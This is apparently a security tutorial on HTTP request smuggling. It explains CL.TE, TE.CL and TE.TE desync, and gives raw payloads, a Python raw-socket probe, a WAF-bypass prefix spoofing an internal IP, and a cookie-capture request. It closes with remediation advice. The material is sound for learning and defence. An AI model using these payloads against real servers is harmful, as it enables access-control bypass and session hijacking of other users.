HTTP Request Smuggling: The Reverse Proxy Vulnerability Your WAF Won't Catch

HTTP request smuggling exploits disagreements between how front-end proxies and back-end servers parse HTTP/1.1 message boundaries, allowing attackers to poison request queues, bypass access controls, and hijack user sessions. Here's the technical breakdown and how to test for it.

Most web security defences sit in front of your application: WAFs, load balancers, CDN edge nodes. These components make security decisions — block malicious requests, enforce rate limits, validate headers — based on their interpretation of incoming HTTP traffic. HTTP request smuggling attacks those interpretations directly. When your front-end proxy and your back-end server disagree about where one HTTP request ends and the next begins, an attacker can inject content into another user’s request stream.

The result ranges from cache poisoning and session hijacking to complete WAF bypass and internal service access. Unlike many web vulnerabilities, request smuggling often doesn’t show up in SAST tools or basic scanning. It requires specific testing methodology, and it’s more prevalent in modern multi-tier architectures than most developers expect.

The Root Cause: Content-Length vs Transfer-Encoding

HTTP/1.1 provides two mechanisms for specifying a message body’s length:

  • Content-Length: declares the exact byte count of the body
  • Transfer-Encoding: chunked: the body is sent in chunks, each prefixed with its hex length, terminated with a zero-length chunk

When both headers are present in the same request, the HTTP/1.1 spec says Transfer-Encoding takes precedence and Content-Length should be ignored. But not every HTTP implementation follows this consistently. The disagreement is the attack surface.

The three canonical attack variants:

CL.TE (Front-end uses Content-Length, back-end uses Transfer-Encoding)

The front-end proxy parses the request using Content-Length and forwards a fixed number of bytes. The back-end expects chunked encoding. An attacker crafts a request where the Content-Length includes bytes that the back-end interprets as the beginning of a second request:

POST / HTTP/1.1
Host: vulnerable.example.com
Content-Length: 49
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.example.com
X-Ignore: X

The front-end proxies this as one complete request (49 bytes). The back-end processes the chunked body (zero-length chunk = end of body), but the remaining bytes — GET /admin HTTP/1.1... — are left in the TCP buffer. The back-end prepends this “leftover” to the next legitimate user’s request, effectively making their next request look like it’s targeting /admin.

TE.CL (Front-end uses Transfer-Encoding, back-end uses Content-Length)

The inverse: the front-end parses by Transfer-Encoding, the back-end by Content-Length. The attacker’s chunked body includes a large chunk that the front-end considers part of the current request, but the back-end’s Content-Length interpretation stops early, leaving bytes in the buffer:

POST / HTTP/1.1
Host: vulnerable.example.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

TE.TE (Both servers use Transfer-Encoding, but handle obfuscated headers differently)

Both servers nominally support Transfer-Encoding but can be confused by obfuscated variants:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding:
  chunked

One server accepts the obfuscated header and processes chunked encoding; the other rejects it and falls back to Content-Length. Desync achieved.

Testing with Python

Smuggling attacks require precise byte-level control over the request. High-level HTTP libraries that auto-correct headers (requests, urllib) are unsuitable. Use raw sockets or a library that preserves your crafted headers:

import socket

def send_raw_request(host, port, request_bytes):
    """Send a raw HTTP request without any library normalisation."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(10)
    s.send(request_bytes)
    
    response = b""
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
    except socket.timeout:
        pass
    finally:
        s.close()
    
    return response

# CL.TE probe: send a request with ambiguous length boundaries
# If the back-end gets confused, a subsequent normal request will behave unexpectedly
cl_te_probe = (
    b"POST / HTTP/1.1\r\n"
    b"Host: target.example.com\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: 35\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /timing-test HTTP/1.1\r\n"
    b"X: X"
)

response = send_raw_request("target.example.com", 80, cl_te_probe)
print(response[:500])

For production testing, use Burp Suite’s HTTP Request Smuggler extension — it automates probe generation and timing analysis across all variants. The manual approach above is useful for understanding the mechanics and for environments where Burp access is restricted.

A Concrete Attack: WAF Bypass via Request Smuggling

Consider a scenario where /admin is blocked by WAF rules on the front-end proxy but is accessible on the back-end without authentication. Legitimate users can’t reach /admin because the WAF intercepts the request.

With a CL.TE smuggling vulnerability, an attacker can “prefix” another user’s request with a GET to /admin that bypasses the WAF entirely, because the WAF only sees the original POST request:

# The smuggled prefix that gets injected into the next user's request
smuggled_prefix = (
    b"GET /admin HTTP/1.1\r\n"
    b"Host: internal.example.com\r\n"
    b"X-Forwarded-For: 127.0.0.1\r\n"
    b"Content-Length: 100\r\n"
    b"\r\n"
)

# This prefix gets prepended to the next legitimate request
# The combined request appears to come from an internal IP
# and targets /admin — WAF never sees the /admin path

The back-end receives what looks like a request from an internal IP targeting /admin. The WAF on the front-end processed a normal POST to / and saw nothing suspicious.

Session Capture via Smuggling

A more impactful attack uses smuggling to exfiltrate other users’ cookies. The attacker crafts a smuggled request that acts as a “cookie sink” — capturing the next user’s request headers (including their session cookie) in a search result, comment, or other reflective endpoint:

POST /search HTTP/1.1
Host: target.example.com
Content-Length: 170
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 590

search=victim-session-capture&data=

When the next user’s request is appended, their request line and headers — including cookies — become the body of the /search POST. If search terms are reflected in the response or logged, the attacker recovers the victim’s session token.

Remediation

Normalise at the edge: Configure your front-end proxy to reject or normalise requests that contain both Content-Length and Transfer-Encoding. Nginx: proxy_set_header Transfer-Encoding "" drops TE before forwarding. AWS ALB and CloudFront both normalise these headers by default in current versions.

Use HTTP/2 where possible: HTTP/2 has a well-defined binary framing layer and does not have the CL/TE ambiguity problem. If your infrastructure supports end-to-end HTTP/2 (including proxy-to-backend), the classic smuggling attacks do not apply. Note that HTTP/2 downgrade attacks exist for H2C and HTTP/2 cleartext — ensure proper handling.

Configure consistent parsing on front-end and back-end: Ensure both layers are up to date and configured to follow RFC 7230 strictly. The RFC explicitly says that if both headers are present, reject the request with a 400. Most servers now have this as their default behaviour on current versions.

Test during deployment: Include request smuggling tests in your application security pipeline. Burp’s scanner detects CL.TE and TE.CL in automated mode. For new proxy/load balancer deployments, run the HTTP Request Smuggler extension manually before promoting to production.

The vulnerability is architectural rather than application-specific — fixing it requires coordination across your infrastructure stack, not just application code changes. That’s what makes it easy to overlook in standard vulnerability management processes.